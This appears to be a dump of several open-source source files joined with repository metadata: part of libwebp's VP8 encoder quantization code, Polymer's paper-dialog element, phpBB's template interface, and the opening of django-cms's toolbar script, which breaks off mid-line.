+= src->D; dst->SD += src->SD; dst->R += src->R; dst->H += src->H; dst->nz |= src->nz; // here, new nz bits are accumulated. dst->score += src->score; } //------------------------------------------------------------------------------ // Performs trellis-optimized quantization. // Trellis node typedef struct { int8_t prev; // best previous node int8_t sign; // sign of coeff_i int16_t level; // level } Node; // Score state typedef struct { score_t score; // partial RD score const uint16_t* costs; // shortcut to cost tables } ScoreState; // If a coefficient was quantized to a value Q (using a neutral bias), // we test all alternate possibilities between [Q-MIN_DELTA, Q+MAX_DELTA] // We don't test negative values though. #define MIN_DELTA 0 // how much lower level to try #define MAX_DELTA 1 // how much higher #define NUM_NODES (MIN_DELTA + 1 + MAX_DELTA) #define NODE(n, l) (nodes[(n)][(l) + MIN_DELTA]) #define SCORE_STATE(n, l) (score_states[n][(l) + MIN_DELTA]) static WEBP_INLINE void SetRDScore(int lambda, VP8ModeScore* const rd) { // TODO: incorporate the "* 256" in the tables? rd->score = (rd->R + rd->H) * lambda + 256 * (rd->D + rd->SD); } static WEBP_INLINE score_t RDScoreTrellis(int lambda, score_t rate, score_t distortion) { return rate * lambda + 256 * distortion; } static int TrellisQuantizeBlock(const VP8Encoder* const enc, int16_t in[16], int16_t out[16], int ctx0, int coeff_type, const VP8Matrix* const mtx, int lambda) { const ProbaArray* const probas = enc->proba_.coeffs_[coeff_type]; CostArrayPtr const costs = (CostArrayPtr)enc->proba_.remapped_costs_[coeff_type]; const int first = (coeff_type == 0) ? 1 : 0; Node nodes[16][NUM_NODES]; ScoreState score_states[2][NUM_NODES]; ScoreState* ss_cur = &SCORE_STATE(0, MIN_DELTA); ScoreState* ss_prev = &SCORE_STATE(1, MIN_DELTA); int best_path[3] = {-1, -1, -1}; // store best-last/best-level/best-previous score_t best_score; int n, m, p, last; { score_t cost; const int thresh = mtx->q_[1] * mtx->q_[1] / 4; const int last_proba = probas[VP8EncBands[first]][ctx0][0]; // compute the position of the last interesting coefficient last = first - 1; for (n = 15; n >= first; --n) { const int j = kZigzag[n]; const int err = in[j] * in[j]; if (err > thresh) { last = n; break; } } // we don't need to go inspect up to n = 16 coeffs. We can just go up // to last + 1 (inclusive) without losing much. if (last < 15) ++last; // compute 'skip' score. This is the max score one can do. cost = VP8BitCost(0, last_proba); best_score = RDScoreTrellis(lambda, cost, 0); // initialize source node. for (m = -MIN_DELTA; m <= MAX_DELTA; ++m) { const score_t rate = (ctx0 == 0) ? VP8BitCost(1, last_proba) : 0; ss_cur[m].score = RDScoreTrellis(lambda, rate, 0); ss_cur[m].costs = costs[first][ctx0]; } } // traverse trellis. for (n = first; n <= last; ++n) { const int j = kZigzag[n]; const uint32_t Q = mtx->q_[j]; const uint32_t iQ = mtx->iq_[j]; const uint32_t B = BIAS(0x00); // neutral bias // note: it's important to take sign of the _original_ coeff, // so we don't have to consider level < 0 afterward. const int sign = (in[j] < 0); const uint32_t coeff0 = (sign ? -in[j] : in[j]) + mtx->sharpen_[j]; int level0 = QUANTDIV(coeff0, iQ, B); if (level0 > MAX_LEVEL) level0 = MAX_LEVEL; { // Swap current and previous score states ScoreState* const tmp = ss_cur; ss_cur = ss_prev; ss_prev = tmp; } // test all alternate level values around level0. for (m = -MIN_DELTA; m <= MAX_DELTA; ++m) { Node* const cur = &NODE(n, m); int level = level0 + m; const int ctx = (level > 2) ? 2 : level; const int band = VP8EncBands[n + 1]; score_t base_score, last_pos_score; score_t best_cur_score = MAX_COST; int best_prev = 0; // default, in case ss_cur[m].score = MAX_COST; ss_cur[m].costs = costs[n + 1][ctx]; if (level > MAX_LEVEL || level < 0) { // node is dead? continue; } // Compute extra rate cost if last coeff's position is < 15 { const score_t last_pos_cost = (n < 15) ? VP8BitCost(0, probas[band][ctx][0]) : 0; last_pos_score = RDScoreTrellis(lambda, last_pos_cost, 0); } { // Compute delta_error = how much coding this level will // subtract to max_error as distortion. // Here, distortion = sum of (|coeff_i| - level_i * Q_i)^2 const int new_error = coeff0 - level * Q; const int delta_error = kWeightTrellis[j] * (new_error * new_error - coeff0 * coeff0); base_score = RDScoreTrellis(lambda, 0, delta_error); } // Inspect all possible non-dead predecessors. Retain only the best one. for (p = -MIN_DELTA; p <= MAX_DELTA; ++p) { // Dead nodes (with ss_prev[p].score >= MAX_COST) are automatically // eliminated since their score can't be better than the current best. const score_t cost = VP8LevelCost(ss_prev[p].costs, level); // Examine node assuming it's a non-terminal one. const score_t score = base_score + ss_prev[p].score + RDScoreTrellis(lambda, cost, 0); if (score < best_cur_score) { best_cur_score = score; best_prev = p; } } // Store best finding in current node. cur->sign = sign; cur->level = level; cur->prev = best_prev; ss_cur[m].score = best_cur_score; // Now, record best terminal node (and thus best entry in the graph). if (level != 0) { const score_t score = best_cur_score + last_pos_score; if (score < best_score) { best_score = score; best_path[0] = n; // best eob position best_path[1] = m; // best node index best_path[2] = best_prev; // best predecessor } } } } // Fresh start memset(in + first, 0, (16 - first) * sizeof(*in)); memset(out + first, 0, (16 - first) * sizeof(*out)); if (best_path[0] == -1) { return 0; // skip! } { // Unwind the best path. // Note: best-prev on terminal node is not necessarily equal to the // best_prev for non-terminal. So we patch best_path[2] in. int nz = 0; int best_node = best_path[1]; n = best_path[0]; NODE(n, best_node).prev = best_path[2]; // force best-prev for terminal for (; n >= first; --n) { const Node* const node = &NODE(n, best_node); const int j = kZigzag[n]; out[n] = node->sign ? -node->level : node->level; nz |= node->level; in[j] = out[n] * mtx->q_[j]; best_node = node->prev; } return (nz != 0); } } #undef NODE //------------------------------------------------------------------------------ // Performs: difference, transform, quantize, back-transform, add // all at once. Output is the reconstructed block in *yuv_out, and the // quantized levels in *levels. static int ReconstructIntra16(VP8EncIterator* const it, VP8ModeScore* const rd, uint8_t* const yuv_out, int mode) { const VP8Encoder* const enc = it->enc_; const uint8_t* const ref = it->yuv_p_ + VP8I16ModeOffsets[mode]; const uint8_t* const src = it->yuv_in_ + Y_OFF_ENC; const VP8SegmentInfo* const dqm = &enc->dqm_[it->mb_->segment_]; int nz = 0; int n; int16_t tmp[16][16], dc_tmp[16]; for (n = 0; n < 16; n += 2) { VP8FTransform2(src + VP8Scan[n], ref + VP8Scan[n], tmp[n]); } VP8FTransformWHT(tmp[0], dc_tmp); nz |= VP8EncQuantizeBlockWHT(dc_tmp, rd->y_dc_levels, &dqm->y2_) << 24; if (DO_TRELLIS_I16 && it->do_trellis_) { int x, y; VP8IteratorNzToBytes(it); for (y = 0, n = 0; y < 4; ++y) { for (x = 0; x < 4; ++x, ++n) { const int ctx = it->top_nz_[x] + it->left_nz_[y]; const int non_zero = TrellisQuantizeBlock(enc, tmp[n], rd->y_ac_levels[n], ctx, 0, &dqm->y1_, dqm->lambda_trellis_i16_); it->top_nz_[x] = it->left_nz_[y] = non_zero; rd->y_ac_levels[n][0] = 0; nz |= non_zero << n; } } } else { for (n = 0; n < 16; n += 2) { // Zero-out the first coeff, so that: a) nz is correct below, and // b) finding 'last' non-zero coeffs in SetResidualCoeffs() is simplified. tmp[n][0] = tmp[n + 1][0] = 0; nz |= VP8EncQuantize2Blocks(tmp[n], rd->y_ac_levels[n], &dqm->y1_) << n; assert(rd->y_ac_levels[n + 0][0] == 0); assert(rd->y_ac_levels[n + 1][0] == 0); } } // Transform back VP8TransformWHT(dc_tmp, tmp[0]); for (n = 0; n < 16; n += 2) { VP8ITransform(ref + VP8Scan[n], tmp[n], yuv_out + VP8Scan[n], 1); } return nz; } static int ReconstructIntra4(VP8EncIterator* const it, int16_t levels[16], const uint8_t* const src, uint8_t* const yuv_out, int mode) { const VP8Encoder* const enc = it->enc_; const uint8_t* const ref = it->yuv_p_ + VP8I4ModeOffsets[mode]; const VP8SegmentInfo* const dqm = &enc->dqm_[it->mb_->segment_]; int nz = 0; int16_t tmp[16]; VP8FTransform(src, ref, tmp); if (DO_TRELLIS_I4 && it->do_trellis_) { const int x = it->i4_ & 3, y = it->i4_ >> 2; const int ctx = it->top_nz_[x] + it->left_nz_[y]; nz = TrellisQuantizeBlock(enc, tmp, levels, ctx, 3, &dqm->y1_, dqm->lambda_trellis_i4_); } else { nz = VP8EncQuantizeBlock(tmp, levels, &dqm->y1_); } VP8ITransform(ref, tmp, yuv_out, 0); return nz; } static int ReconstructUV(VP8EncIterator* const it, VP8ModeScore* const rd, uint8_t* const yuv_out, int mode) { const VP8Encoder* const enc = it->enc_; const uint8_t* const ref = it->yuv_p_ + VP8UVModeOffsets[mode]; const uint8_t* const src = it->yuv_in_ + U_OFF_ENC; const VP8SegmentInfo* const dqm = &enc->dqm_[it->mb_->segment_]; int nz = 0; int n; int16_t tmp[8][16]; for (n = 0; n < 8; n += 2) { VP8FTransform2(src + VP8ScanUV[n], ref + VP8ScanUV[n], tmp[n]); } if (DO_TRELLIS_UV && it->do_trellis_) { int ch, x, y; for (ch = 0, n = 0; ch <= 2; ch += 2) { for (y = 0; y < 2; ++y) { for (x = 0; x < 2; ++x, ++n) { const int ctx = it->top_nz_[4 + ch + x] + it->left_nz_[4 + ch + y]; const int non_zero = TrellisQuantizeBlock(enc, tmp[n], rd->uv_levels[n], ctx, 2, &dqm->uv_, dqm->lambda_trellis_uv_); it->top_nz_[4 + ch + x] = it->left_nz_[4 + ch + y] = non_zero; nz |= non_zero << n; } } } } else { for (n = 0; n < 8; n += 2) { nz |= VP8EncQuantize2Blocks(tmp[n], rd->uv_levels[n], &dqm->uv_) << n; } } for (n = 0; n < 8; n += 2) { VP8ITransform(ref + VP8ScanUV[n], tmp[n], yuv_out + VP8ScanUV[n], 1); } return (nz << 16); } //------------------------------------------------------------------------------ // RD-opt decision. Reconstruct each modes, evalue distortion and bit-cost. // Pick the mode is lower RD-cost = Rate + lambda * Distortion. static void StoreMaxDelta(VP8SegmentInfo* const dqm, const int16_t DCs[16]) { // We look at the first three AC coefficients to determine what is the average // delta between each sub-4x4 block. const int v0 = abs(DCs[1]); const int v1 = abs(DCs[4]); const int v2 = abs(DCs[5]); int max_v = (v0 > v1) ? v1 : v0; max_v = (v2 > max_v) ? v2 : max_v; if (max_v > dqm->max_edge_) dqm->max_edge_ = max_v; } static void SwapModeScore(VP8ModeScore** a, VP8ModeScore** b) { VP8ModeScore* const tmp = *a; *a = *b; *b = tmp; } static void SwapPtr(uint8_t** a, uint8_t** b) { uint8_t* const tmp = *a; *a = *b; *b = tmp; } static void SwapOut(VP8EncIterator* const it) { SwapPtr(&it->yuv_out_, &it->yuv_out2_); } static score_t IsFlat(const int16_t* levels, int num_blocks, score_t thresh) { score_t score = 0; while (num_blocks-- > 0) { // TODO(skal): refine positional scoring? int i; for (i = 1; i < 16; ++i) { // omit DC, we're only interested in AC score += (levels[i] != 0); if (score > thresh) return 0; } levels += 16; } return 1; } static void PickBestIntra16(VP8EncIterator* const it, VP8ModeScore* rd) { const int kNumBlocks = 16; VP8SegmentInfo* const dqm = &it->enc_->dqm_[it->mb_->segment_]; const int lambda = dqm->lambda_i16_; const int tlambda = dqm->tlambda_; const uint8_t* const src = it->yuv_in_ + Y_OFF_ENC; VP8ModeScore rd_tmp; VP8ModeScore* rd_cur = &rd_tmp; VP8ModeScore* rd_best = rd; int mode; rd->mode_i16 = -1; for (mode = 0; mode < NUM_PRED_MODES; ++mode) { uint8_t* const tmp_dst = it->yuv_out2_ + Y_OFF_ENC; // scratch buffer rd_cur->mode_i16 = mode; // Reconstruct rd_cur->nz = ReconstructIntra16(it, rd_cur, tmp_dst, mode); // Measure RD-score rd_cur->D = VP8SSE16x16(src, tmp_dst); rd_cur->SD = tlambda ? MULT_8B(tlambda, VP8TDisto16x16(src, tmp_dst, kWeightY)) : 0; rd_cur->H = VP8FixedCostsI16[mode]; rd_cur->R = VP8GetCostLuma16(it, rd_cur); if (mode > 0 && IsFlat(rd_cur->y_ac_levels[0], kNumBlocks, FLATNESS_LIMIT_I16)) { // penalty to avoid flat area to be mispredicted by complex mode rd_cur->R += FLATNESS_PENALTY * kNumBlocks; } // Since we always examine Intra16 first, we can overwrite *rd directly. SetRDScore(lambda, rd_cur); if (mode == 0 || rd_cur->score < rd_best->score) { SwapModeScore(&rd_cur, &rd_best); SwapOut(it); } } if (rd_best != rd) { memcpy(rd, rd_best, sizeof(*rd)); } SetRDScore(dqm->lambda_mode_, rd); // finalize score for mode decision. VP8SetIntra16Mode(it, rd->mode_i16); // we have a blocky macroblock (only DCs are non-zero) with fairly high // distortion, record max delta so we can later adjust the minimal filtering // strength needed to smooth these blocks out. if ((rd->nz & 0xffff) == 0 && rd->D > dqm->min_disto_) { StoreMaxDelta(dqm, rd->y_dc_levels); } } //------------------------------------------------------------------------------ // return the cost array corresponding to the surrounding prediction modes. static const uint16_t* GetCostModeI4(VP8EncIterator* const it, const uint8_t modes[16]) { const int preds_w = it->enc_->preds_w_; const int x = (it->i4_ & 3), y = it->i4_ >> 2; const int left = (x == 0) ? it->preds_[y * preds_w - 1] : modes[it->i4_ - 1]; const int top = (y == 0) ? it->preds_[-preds_w + x] : modes[it->i4_ - 4]; return VP8FixedCostsI4[top][left]; } static int PickBestIntra4(VP8EncIterator* const it, VP8ModeScore* const rd) { const VP8Encoder* const enc = it->enc_; const VP8SegmentInfo* const dqm = &enc->dqm_[it->mb_->segment_]; const int lambda = dqm->lambda_i4_; const int tlambda = dqm->tlambda_; const uint8_t* const src0 = it->yuv_in_ + Y_OFF_ENC; uint8_t* const best_blocks = it->yuv_out2_ + Y_OFF_ENC; int total_header_bits = 0; VP8ModeScore rd_best; if (enc->max_i4_header_bits_ == 0) { return 0; } InitScore(&rd_best); rd_best.H = 211; // '211' is the value of VP8BitCost(0, 145) SetRDScore(dqm->lambda_mode_, &rd_best); VP8IteratorStartI4(it); do { const int kNumBlocks = 1; VP8ModeScore rd_i4; int mode; int best_mode = -1; const uint8_t* const src = src0 + VP8Scan[it->i4_]; const uint16_t* const mode_costs = GetCostModeI4(it, rd->modes_i4); uint8_t* best_block = best_blocks + VP8Scan[it->i4_]; uint8_t* tmp_dst = it->yuv_p_ + I4TMP; // scratch buffer. InitScore(&rd_i4); VP8MakeIntra4Preds(it); for (mode = 0; mode < NUM_BMODES; ++mode) { VP8ModeScore rd_tmp; int16_t tmp_levels[16]; // Reconstruct rd_tmp.nz = ReconstructIntra4(it, tmp_levels, src, tmp_dst, mode) << it->i4_; // Compute RD-score rd_tmp.D = VP8SSE4x4(src, tmp_dst); rd_tmp.SD = tlambda ? MULT_8B(tlambda, VP8TDisto4x4(src, tmp_dst, kWeightY)) : 0; rd_tmp.H = mode_costs[mode]; // Add flatness penalty if (mode > 0 && IsFlat(tmp_levels, kNumBlocks, FLATNESS_LIMIT_I4)) { rd_tmp.R = FLATNESS_PENALTY * kNumBlocks; } else { rd_tmp.R = 0; } // early-out check SetRDScore(lambda, &rd_tmp); if (best_mode >= 0 && rd_tmp.score >= rd_i4.score) continue; // finish computing score rd_tmp.R += VP8GetCostLuma4(it, tmp_levels); SetRDScore(lambda, &rd_tmp); if (best_mode < 0 || rd_tmp.score < rd_i4.score) { CopyScore(&rd_i4, &rd_tmp); best_mode = mode; SwapPtr(&tmp_dst, &best_block); memcpy(rd_best.y_ac_levels[it->i4_], tmp_levels, sizeof(rd_best.y_ac_levels[it->i4_])); } } SetRDScore(dqm->lambda_mode_, &rd_i4); AddScore(&rd_best, &rd_i4); if (rd_best.score >= rd->score) { return 0; } total_header_bits += (int)rd_i4.H; // <- equal to mode_costs[best_mode]; if (total_header_bits > enc->max_i4_header_bits_) { return 0; } // Copy selected samples if not in the right place already. if (best_block != best_blocks + VP8Scan[it->i4_]) { VP8Copy4x4(best_block, best_blocks + VP8Scan[it->i4_]); } rd->modes_i4[it->i4_] = best_mode; it->top_nz_[it->i4_ & 3] = it->left_nz_[it->i4_ >> 2] = (rd_i4.nz ? 1 : 0); } while (VP8IteratorRotateI4(it, best_blocks)); // finalize state CopyScore(rd, &rd_best); VP8SetIntra4Mode(it, rd->modes_i4); SwapOut(it); memcpy(rd->y_ac_levels, rd_best.y_ac_levels, sizeof(rd->y_ac_levels)); return 1; // select intra4x4 over intra16x16 } //------------------------------------------------------------------------------ static void PickBestUV(VP8EncIterator* const it, VP8ModeScore* const rd) { const int kNumBlocks = 8; const VP8SegmentInfo* const dqm = &it->enc_->dqm_[it->mb_->segment_]; const int lambda = dqm->lambda_uv_; const uint8_t* const src = it->yuv_in_ + U_OFF_ENC; uint8_t* tmp_dst = it->yuv_out2_ + U_OFF_ENC; // scratch buffer uint8_t* dst0 = it->yuv_out_ + U_OFF_ENC; uint8_t* dst = dst0; VP8ModeScore rd_best; int mode; rd->mode_uv = -1; InitScore(&rd_best); for (mode = 0; mode < NUM_PRED_MODES; ++mode) { VP8ModeScore rd_uv; // Reconstruct rd_uv.nz = ReconstructUV(it, &rd_uv, tmp_dst, mode); // Compute RD-score rd_uv.D = VP8SSE16x8(src, tmp_dst); rd_uv.SD = 0; // TODO: should we call TDisto? it tends to flatten areas. rd_uv.H = VP8FixedCostsUV[mode]; rd_uv.R = VP8GetCostUV(it, &rd_uv); if (mode > 0 && IsFlat(rd_uv.uv_levels[0], kNumBlocks, FLATNESS_LIMIT_UV)) { rd_uv.R += FLATNESS_PENALTY * kNumBlocks; } SetRDScore(lambda, &rd_uv); if (mode == 0 || rd_uv.score < rd_best.score) { CopyScore(&rd_best, &rd_uv); rd->mode_uv = mode; memcpy(rd->uv_levels, rd_uv.uv_levels, sizeof(rd->uv_levels)); SwapPtr(&dst, &tmp_dst); } } VP8SetIntraUVMode(it, rd->mode_uv); AddScore(rd, &rd_best); if (dst != dst0) { // copy 16x8 block if needed VP8Copy16x8(dst, dst0); } } //------------------------------------------------------------------------------ // Final reconstruction and quantization. static void SimpleQuantize(VP8EncIterator* const it, VP8ModeScore* const rd) { const VP8Encoder* const enc = it->enc_; const int is_i16 = (it->mb_->type_ == 1); int nz = 0; if (is_i16) { nz = ReconstructIntra16(it, rd, it->yuv_out_ + Y_OFF_ENC, it->preds_[0]); } else { VP8IteratorStartI4(it); do { const int mode = it->preds_[(it->i4_ & 3) + (it->i4_ >> 2) * enc->preds_w_]; const uint8_t* const src = it->yuv_in_ + Y_OFF_ENC + VP8Scan[it->i4_]; uint8_t* const dst = it->yuv_out_ + Y_OFF_ENC + VP8Scan[it->i4_]; VP8MakeIntra4Preds(it); nz |= ReconstructIntra4(it, rd->y_ac_levels[it->i4_], src, dst, mode) << it->i4_; } while (VP8IteratorRotateI4(it, it->yuv_out_ + Y_OFF_ENC)); } nz |= ReconstructUV(it, rd, it->yuv_out_ + U_OFF_ENC, it->mb_->uv_mode_); rd->nz = nz; } // Refine intra16/intra4 sub-modes based on distortion only (not rate). static void DistoRefine(VP8EncIterator* const it, int try_both_i4_i16) { const int is_i16 = (it->mb_->type_ == 1); score_t best_score = MAX_COST; if (try_both_i4_i16 || is_i16) { int mode; int best_mode = -1; for (mode = 0; mode < NUM_PRED_MODES; ++mode) { const uint8_t* const ref = it->yuv_p_ + VP8I16ModeOffsets[mode]; const uint8_t* const src = it->yuv_in_ + Y_OFF_ENC; const score_t score = VP8SSE16x16(src, ref); if (score < best_score) { best_mode = mode; best_score = score; } } VP8SetIntra16Mode(it, best_mode); } if (try_both_i4_i16 || !is_i16) { uint8_t modes_i4[16]; // We don't evaluate the rate here, but just account for it through a // constant penalty (i4 mode usually needs more bits compared to i16). score_t score_i4 = (score_t)I4_PENALTY; VP8IteratorStartI4(it); do { int mode; int best_sub_mode = -1; score_t best_sub_score = MAX_COST; const uint8_t* const src = it->yuv_in_ + Y_OFF_ENC + VP8Scan[it->i4_]; // TODO(skal): we don't really need the prediction pixels here, // but just the distortion against 'src'. VP8MakeIntra4Preds(it); for (mode = 0; mode < NUM_BMODES; ++mode) { const uint8_t* const ref = it->yuv_p_ + VP8I4ModeOffsets[mode]; const score_t score = VP8SSE4x4(src, ref); if (score < best_sub_score) { best_sub_mode = mode; best_sub_score = score; } } modes_i4[it->i4_] = best_sub_mode; score_i4 += best_sub_score; if (score_i4 >= best_score) break; } while (VP8IteratorRotateI4(it, it->yuv_in_ + Y_OFF_ENC)); if (score_i4 < best_score) { VP8SetIntra4Mode(it, modes_i4); } } } //------------------------------------------------------------------------------ // Entry point int VP8Decimate(VP8EncIterator* const it, VP8ModeScore* const rd, VP8RDLevel rd_opt) { int is_skipped; const int method = it->enc_->method_; InitScore(rd); // We can perform predictions for Luma16x16 and Chroma8x8 already. // Luma4x4 predictions needs to be done as-we-go. VP8MakeLuma16Preds(it); VP8MakeChroma8Preds(it); if (rd_opt > RD_OPT_NONE) { it->do_trellis_ = (rd_opt >= RD_OPT_TRELLIS_ALL); PickBestIntra16(it, rd); if (method >= 2) { PickBestIntra4(it, rd); } PickBestUV(it, rd); if (rd_opt == RD_OPT_TRELLIS) { // finish off with trellis-optim now it->do_trellis_ = 1; SimpleQuantize(it, rd); } } else { // For method == 2, pick the best intra4/intra16 based on SSE (~tad slower). // For method <= 1, we refine intra4 or intra16 (but don't re-examine mode). DistoRefine(it, (method >= 2)); SimpleQuantize(it, rd); } is_skipped = (rd->nz == 0); VP8SetSkip(it, is_skipped); return is_skipped; }
bsd-3-clause
laperry1/android_external_chromium_org
third_party/polymer/components-chromium/paper-dialog/paper-dialog.html
3299
<!-- Copyright (c) 2014 The Polymer Project Authors. All rights reserved. This code may only be used under the BSD style license found at http://polymer.github.io/LICENSE.txt The complete set of authors may be found at http://polymer.github.io/AUTHORS.txt The complete set of contributors may be found at http://polymer.github.io/CONTRIBUTORS.txt Code distributed by Google as part of the polymer project is also subject to an additional IP rights grant found at http://polymer.github.io/PATENTS.txt --> <!-- Provides a dialog overlay. Child elements that include a `dismissive` attribute are positioned in the lower left corner of the dialog. Elements that use the `affirmative` attribute are positioned in the lower right corner. Child elements that include the `dismissive` or `affirmative` attribute will automatically toggle the dialog when clicked. One child element should have the `autofocus` attribute so that the Enter key will automatically take action. This is especially important for screen reader environments. Example: <paper-dialog heading="Title for dialog"> <p>Lorem ipsum ....</p> <p>Id qui scripta ...</p> <paper-button label="More Info..." dismissive></paper-button> <paper-button label="Decline" affirmative></paper-button> <paper-button label="Accept" affirmative autofocus></paper-button> </paper-dialog> #### Transitions `<paper-dialog>` can be used with `<paper-transition>` to transition the overlay open and close. To use a transition, import `paper-dialog-transition.html` alongside paper-dialog: <link rel="import" href="paper-dialog/paper-dialog-transition.html"> Then set the `transition` attribute: <paper-dialog heading="Title for dialog" transition="paper-transition-center"> <paper-dialog heading="Title for dialog" transition="paper-transition-bottom"> @group Paper Elements @element paper-dialog @homepage github.io --> <!-- Fired when the dialog's `opened` property changes. @event core-overlay-open @param {Object} detail @param {Object} detail.opened the opened state --> <link href="../polymer/polymer.html" rel="import"> <link href="../core-overlay/core-overlay.html" rel="import"> <link href="../paper-shadow/paper-shadow.html" rel="import"> <polymer-element name="paper-dialog" attributes="opened heading transition autoCloseDisabled backdrop layered closeSelector" role="dialog" assetpath=""> <template> <link href="paper-dialog.css" rel="stylesheet"> <div id="shadow"> <paper-shadow z="3" hasposition=""></paper-shadow> </div> <core-overlay id="overlay" opened="{{opened}}" autoclosedisabled?="{{autoCloseDisabled}}" backdrop?="{{backdrop}}" layered?="{{layered}}" target="{{}}" sizingtarget="{{$.container}}" closeselector="{{closeSelector}}" transition="{{transition}}" margin="20"></core-overlay> <div id="container" layout="" vertical=""> <div id="actions" layout="" horizontal=""> <content select="[dismissive]"></content> <div flex="" auto=""></div> <content select="[affirmative]"></content> </div> <div id="main" flex="" auto=""> <h1>{{heading}}</h1> <content></content> </div> </div> </template> </polymer-element> <script src="paper-dialog-extracted.js"></script>
bsd-3-clause
kivi8/ars-poetica
www/forum/phpbb/template/template.php
5881
<?php /** * * This file is part of the phpBB Forum Software package. * * @copyright (c) phpBB Limited <https://www.phpbb.com> * @license GNU General Public License, version 2 (GPL-2.0) * * For full copyright and license information, please see * the docs/CREDITS.txt file. * */ namespace phpbb\template; interface template { /** * Clear the cache * * @return \phpbb\template\template */ public function clear_cache(); /** * Sets the template filenames for handles. * * @param array $filename_array Should be a hash of handle => filename pairs. * @return \phpbb\template\template $this */ public function set_filenames(array $filename_array); /** * Get the style tree of the style preferred by the current user * * @return array Style tree, most specific first */ public function get_user_style(); /** * Set style location based on (current) user's chosen style. * * @param array $style_directories The directories to add style paths for * E.g. array('ext/foo/bar/styles', 'styles') * Default: array('styles') (phpBB's style directory) * @return \phpbb\template\template $this */ public function set_style($style_directories = array('styles')); /** * Set custom style location (able to use directory outside of phpBB). * * Note: Templates are still compiled to phpBB's cache directory. * * @param string|array $names Array of names or string of name of template(s) in inheritance tree order, used by extensions. * @param string|array or string $paths Array of style paths, relative to current root directory * @return \phpbb\template\template $this */ public function set_custom_style($names, $paths); /** * Clears all variables and blocks assigned to this template. * * @return \phpbb\template\template $this */ public function destroy(); /** * Reset/empty complete block * * @param string $blockname Name of block to destroy * @return \phpbb\template\template $this */ public function destroy_block_vars($blockname); /** * Display a template for provided handle. * * The template will be loaded and compiled, if necessary, first. * * This function calls hooks. * * @param string $handle Handle to display * @return \phpbb\template\template $this */ public function display($handle); /** * Display the handle and assign the output to a template variable * or return the compiled result. * * @param string $handle Handle to operate on * @param string $template_var Template variable to assign compiled handle to * @param bool $return_content If true return compiled handle, otherwise assign to $template_var * @return \phpbb\template\template|string if $return_content is true return string of the compiled handle, otherwise return $this */ public function assign_display($handle, $template_var = '', $return_content = true); /** * Assign key variable pairs from an array * * @param array $vararray A hash of variable name => value pairs * @return \phpbb\template\template $this */ public function assign_vars(array $vararray); /** * Assign a single scalar value to a single key. * * Value can be a string, an integer or a boolean. * * @param string $varname Variable name * @param string $varval Value to assign to variable * @return \phpbb\template\template $this */ public function assign_var($varname, $varval); /** * Append text to the string value stored in a key. * * Text is appended using the string concatenation operator (.). * * @param string $varname Variable name * @param string $varval Value to append to variable * @return \phpbb\template\template $this */ public function append_var($varname, $varval); /** * Assign key variable pairs from an array to a specified block * @param string $blockname Name of block to assign $vararray to * @param array $vararray A hash of variable name => value pairs * @return \phpbb\template\template $this */ public function assign_block_vars($blockname, array $vararray); /** * Assign key variable pairs from an array to a whole specified block loop * @param string $blockname Name of block to assign $block_vars_array to * @param array $block_vars_array An array of hashes of variable name => value pairs * @return \phpbb\template\template $this */ public function assign_block_vars_array($blockname, array $block_vars_array); /** * Change already assigned key variable pair (one-dimensional - single loop entry) * * An example of how to use this function: * {@example alter_block_array.php} * * @param string $blockname the blockname, for example 'loop' * @param array $vararray the var array to insert/add or merge * @param mixed $key Key to search for * * array: KEY => VALUE [the key/value pair to search for within the loop to determine the correct position] * * int: Position [the position to change or insert at directly given] * * If key is false the position is set to 0 * If key is true the position is set to the last entry * * @param string $mode Mode to execute (valid modes are 'insert' and 'change') * * If insert, the vararray is inserted at the given position (position counting from zero). * If change, the current block gets merged with the vararray (resulting in new \key/value pairs be added and existing keys be replaced by the new \value). * * Since counting begins by zero, inserting at the last position will result in this array: array(vararray, last positioned array) * and inserting at position 1 will result in this array: array(first positioned array, vararray, following vars) * * @return bool false on error, true on success */ public function alter_block_array($blockname, array $vararray, $key = false, $mode = 'insert'); /** * Get path to template for handle (required for BBCode parser) * * @param string $handle Handle to retrieve the source file * @return string */ public function get_source_file_for_handle($handle); }
bsd-3-clause
josjevv/django-cms
cms/static/cms/js/modules/cms.toolbar.js
22476
//################################################################################################################## // #TOOLBAR# /* global CMS */ (function ($) { 'use strict'; // CMS.$ will be passed for $ $(document).ready(function () { /*! * Toolbar * Handles all features related to the toolbar */ CMS.Toolbar = new CMS.Class({ implement: [CMS.API.Helpers], options: { preventSwitch: false, preventSwitchMessage: 'Switching is disabled.', messageDelay: 2000 }, initialize: function (options) { this.container = $('#cms-toolbar'); this.options = $.extend(true, {}, this.options, options); this.config = CMS.config; this.settings = CMS.settings; // elements this.body = $('html'); this.toolbar = this.container.find('.cms-toolbar').hide(); this.toolbarTrigger = this.container.find('.cms-toolbar-trigger'); this.navigations = this.container.find('.cms-toolbar-item-navigation'); this.buttons = this.container.find('.cms-toolbar-item-buttons'); this.switcher = this.container.find('.cms-toolbar-item-switch'); this.messages = this.container.find('.cms-messages'); this.screenBlock = this.container.find('.cms-screenblock'); // states this.click = 'click.cms'; this.timer = function () {}; this.lockToolbar = false; // setup initial stuff this._setup(); // setup events this._events(); }, // initial methods _setup: function () { // setup toolbar visibility, we need to reverse the options to set the correct state (this.settings.toolbar === 'expanded') ? this._showToolbar(0, true) : this._hideToolbar(0, true); // hide publish button var publishBtn = $('.cms-btn-publish').parent(); publishBtn.hide(); if ($('.cms-btn-publish-active').length) { publishBtn.show(); } // check if debug is true if (CMS.config.debug) { this._debug(); } // check if there are messages and display them if (CMS.config.messages) { this.openMessage(CMS.config.messages); } // check if there are error messages and display them if (CMS.config.error) { this.showError(CMS.config.error); } // enforce open state if user is not logged in but requests the toolbar if (!CMS.config.auth || CMS.config.settings.version !== this.settings.version) { this.toggleToolbar(true); this.settings = this.setSettings(CMS.config.settings); } // should switcher indicate that there is an unpublished page? if (CMS.config.publisher) { this.openMessage(CMS.config.publisher, 'right'); setInterval(function () { CMS.$('.cms-toolbar-item-switch').toggleClass('cms-toolbar-item-switch-highlight'); }, this.options.messageDelay); } // open sideframe if it was previously opened if (this.settings.sideframe.url) { var sideframe = new CMS.Sideframe(); sideframe.open(this.settings.sideframe.url, false); } // if there is a screenblock, do some resize magic if (this.screenBlock.length) { this._screenBlock(); } // add toolbar ready class to body and fire event this.body.addClass('cms-ready'); $(document).trigger('cms-ready'); }, _events: function () { var that = this; // attach event to the trigger handler this.toolbarTrigger.bind(this.click, function (e) { e.preventDefault(); that.toggleToolbar(); }); // attach event to the navigation elements this.navigations.each(function () { var item = $(this); var lists = item.find('li'); var root = 'cms-toolbar-item-navigation'; var hover = 'cms-toolbar-item-navigation-hover'; var disabled 